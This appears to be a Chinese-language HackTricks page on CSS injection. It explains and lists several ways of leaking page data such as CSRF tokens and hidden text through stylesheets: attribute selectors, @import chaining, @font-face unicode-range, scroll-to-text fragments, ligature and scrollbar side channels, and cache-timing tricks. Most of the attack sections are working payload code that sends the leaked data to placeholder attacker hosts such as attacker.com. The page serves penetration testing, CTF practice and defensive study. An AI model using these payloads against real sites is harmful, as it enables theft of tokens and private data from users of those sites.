.. | ||
css-injection-code.md | ||
README.md |
CSS注入
☁️ HackTricks云平台 ☁️ -🐦 推特 🐦 - 🎙️ Twitch直播 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向 hacktricks repo 和 hacktricks-cloud repo 提交PR来分享你的黑客技巧。
CSS注入
属性选择器
通过CSS注入来窃取信息的主要技术是尝试使用CSS来匹配文本,并在文本存在的情况下加载一些外部资源,例如:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
然而,请注意,如果在示例中,csrf name input 是 hidden 类型(通常是这样),这种技术将无法生效,因为背景不会被加载。
然而,您可以通过以下方式绕过这个障碍:不是让隐藏元素加载背景,而是让其后的任何元素加载背景:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
一些用于利用此漏洞的代码示例:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
先决条件
- CSS注入需要允许足够长的有效负载
- 能够通过框架化页面来触发新生成有效负载的CSS重新评估
- 能够使用外部托管的图像(可能会被CSP阻止)
@import
前一种技术有一些缺点,请检查先决条件。您要么需要能够向受害者发送多个链接,要么需要能够将CSS注入漏洞页面进行框架化。
然而,还有一种巧妙的技术使用了**CSS的@import
**来提高技术的质量。
这是由Pepe Vila首次展示的,它的工作原理如下:
我们不再重复加载同一个页面,每次加载时都使用数十个不同的有效负载(就像前一种技术中那样),而是只加载一次页面,并且只使用对攻击者服务器的导入(这是要发送给受害者的有效负载):
@import url('//attacker.com:5001/start?');
- 导入将从攻击者那里接收一些CSS脚本,然后浏览器将加载它。
- 攻击者将发送的CSS脚本的第一部分是再次向攻击者的服务器发送
@import
。 - 攻击者的服务器暂时不会响应此请求,因为我们希望泄漏一些字符,然后用负载响应此导入以泄漏下一个字符。
- 负载的第二部分将是一个属性选择器泄漏负载
- 这将向攻击者的服务器发送秘密的第一个字符和最后一个字符
- 一旦攻击者的服务器接收到秘密的第一个和最后一个字符,它将响应步骤2中请求的导入。
- 响应将与步骤2、3和4完全相同,但这次它将尝试找到秘密的第二个字符,然后是倒数第二个字符。
攻击者将重复此循环,直到完全泄漏秘密。
您可以在此处找到原始的Pepe Vila的用于利用此漏洞的代码,或者您可以在此处找到几乎相同的已注释的代码。
{% hint style="info" %} 该脚本将每次尝试发现2个字符(从开头和末尾),因为属性选择器允许执行以下操作:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
这样可以使脚本更快地泄露秘密。 {% endhint %}
{% hint style="warning" %}
有时脚本无法正确检测到已发现的前缀+后缀已经是完整的标志,它会继续向前(在前缀中)和向后(在后缀中)进行,最终会停止。
别担心,只需检查输出,因为你可以在那里看到标志。
{% endhint %}
其他选择器
使用CSS选择器访问DOM部分的其他方法:
.class-to-search:nth-child(2)
:这将在DOM中搜索具有类名为"class-to-search"的第二个项目。- **
:empty
**选择器:例如在这个解答中使用:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
基于错误的XS-Search
参考资料:基于CSS的攻击:滥用@font-face的unicode-range,@terjanq的基于错误的XS-Search PoC
基本上,主要思想是在由我们控制的端点中使用自定义字体,该字体将仅在资源无法加载时显示。
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
样式化滚动到文本片段
当一个URL片段指向一个元素时,可以使用:target
伪类来选择它,但是::target-text
不匹配任何内容。它只匹配被[片段]所指定的文本。
因此,攻击者可以使用滚动到文本片段,如果找到了与该文本匹配的内容,我们可以通过HTML注入从攻击者的服务器加载资源来指示它:
:target::before { content : url(target.png) }
这种攻击的一个例子可以是:
{% code overflow="wrap" %}
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
{% endcode %}
这是滥用发送代码的HTML注入的方法:
{% code overflow="wrap" %}
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
{% endcode %}
使用滚动到文本片段:#:~:text=管理员
如果找到管理员这个词,将加载指定的资源。
有三个主要的缓解措施:
- STTF只能匹配网页上的单词或句子,理论上不可能泄露随机的秘密或令牌(除非我们将秘密分解为一个字母的段落)。
- 它限制在顶级浏览上下文中,因此在iframe中无法工作,使攻击对受害者可见。
- 需要用户激活手势才能使STTF工作,因此只有用户操作导致的导航才能被利用,这大大降低了在没有用户交互的情况下自动化攻击的可能性。然而,上述博客文章的作者发现了一些条件,有助于自动化攻击。另一个类似的案例将在PoC#3中介绍。
- 有一些绕过方法,比如社交工程,或者强制常见的浏览器扩展进行交互。
有关更多信息,请查看原始报告:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
您可以在此处检查使用此技术的CTF的利用代码。
@font-face / unicode-range
您可以为特定的Unicode值指定外部字体,只有在页面中存在这些Unicode值时才会收集。例如:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
当您访问此页面时,Chrome和Firefox会获取"?A"和"?B",因为敏感信息的文本节点包含"A"和"B"字符。但是Chrome和Firefox不会获取"?C",因为它不包含"C"。这意味着我们已经成功读取了"A"和"B"。
文本节点泄露(I):连字
参考资料:Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
我们可以使用一种技术,结合字体连字和宽度变化的检测,来提取节点中包含的文本。这种技术的主要思想是创建包含高大小的预定义连字的字体,并使用大小变化作为预测工具。
字体可以使用SVG字体创建,然后使用fontforge转换为woff格式。在SVG中,我们可以通过horiz-adv-x属性定义字形的宽度,因此我们可以构建类似<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
的内容,其中XY是两个字符的序列。如果该序列存在,它将被渲染,并且文本的大小将发生变化。但是...我们如何检测这些变化呢?
当将white-space属性定义为nowrap时,它会强制文本在超过父元素宽度时不换行。在这种情况下,会出现水平滚动条。而且我们可以定义滚动条的样式,因此我们可以在发生这种情况时泄露信息**:)**
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
此时攻击已经清晰明了:
- 创建具有巨大宽度的两个字符的字体
- 通过滚动条技巧检测泄漏
- 使用泄漏的第一个连字作为基础,创建三个字符的新组合(在字符之前/之后添加)
- 检测这个三个字符的连字。
- 重复直到泄漏整个文本
我们仍然需要改进的方法来开始迭代,因为<meta refresh=...
是次优的。您可以使用CSS @import技巧来优化攻击。
文本节点外泄(II):使用默认字体泄漏字符集(不需要外部资源)
参考:由@Cgvwzq和@Terjanq使用Comic Sans的PoC
这个技巧在这个Slackers帖子中发布。可以使用浏览器中安装的默认字体来泄漏文本节点中使用的字符集:不需要外部或自定义字体。
关键是使用动画来将div的宽度从0增长到文本的末尾,每次增加一个字符的大小。通过这样做,我们可以将文本“分割”为两部分:一个“前缀”(第一行)和一个“后缀”,因此每次div增加宽度时,一个新的字符从“后缀”移动到“前缀”。类似于:
C
ADB
CA
DB
CAD
B
CADB
当一个新字符进入第一行时,使用unicode-range技巧来检测前缀中的新字符。通过将字体更改为Comic Sans,其高度较大,因此会触发垂直滚动条(泄漏字符值)。这样,我们可以泄漏每个不同的字符一次。我们可以检测字符是否重复,但无法确定重复的是哪个字符。
{% hint style="info" %}
基本上,unicode-range用于检测字符,但由于我们不想加载外部字体,我们需要找到另一种方法。
当找到字符时,将其赋予预安装的Comic Sans字体,这会使字符变大并触发滚动条,从而泄漏找到的字符。
{% endhint %}
检查从PoC中提取的代码:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* 逐个字符增加宽度,即将新字符添加到前缀 */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* 侧信道 */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
文本节点泄露(III):通过隐藏元素(不需要外部资源)使用默认字体来泄露字符集
参考: 这在这篇文章中被提到为一个不成功的解决方案。
这种情况与前面的情况非常相似,但是在这种情况下,使特定的字符比其他字符更大的目的是为了隐藏某些东西,比如一个不希望被机器人按下的按钮或者一个不会被加载的图片。因此,我们可以通过测量动作(或者缺乏动作)来判断特定的字符是否存在于文本中。
文本节点泄露(III):通过缓存时间来泄露字符集(不需要外部资源)
参考: 这在这篇文章中被提到为一个不成功的解决方案。
在这种情况下,我们可以尝试通过从相同源加载一个假字体来泄露文本中是否存在某个字符:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
如果匹配成功,字体将从/static/bootstrap.min.css?q=1
加载。虽然它加载不成功,但是浏览器应该将其缓存,即使没有缓存,也有304未修改的机制,所以响应应该比其他内容更快。
然而,如果缓存响应与非缓存响应的时间差异不够大,这将没有用处。例如,作者提到:然而,在测试之后,我发现第一个问题是速度差别不大,第二个问题是机器人使用了disk-cache-size=1
标志,这真是周到。
文本节点外泄(III):通过计时加载数百个本地“字体”(不需要外部资源)来泄漏字符集
**参考:**这在此篇文章中被提到为一个不成功的解决方案。
在这种情况下,当匹配发生时,您可以指示CSS从同一源加载数百个假字体。这样,您可以测量所需的时间,并找出字符是否出现,例如:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
而机器人的代码如下所示:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
所以,假设字体不匹配,访问机器人时的响应时间应该在30秒左右。如果匹配成功,将发送一系列请求以获取字体,网络将始终有响应,因此需要更长的时间来满足停止条件并获取响应。因此,响应时间可以判断是否匹配。
参考资料
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。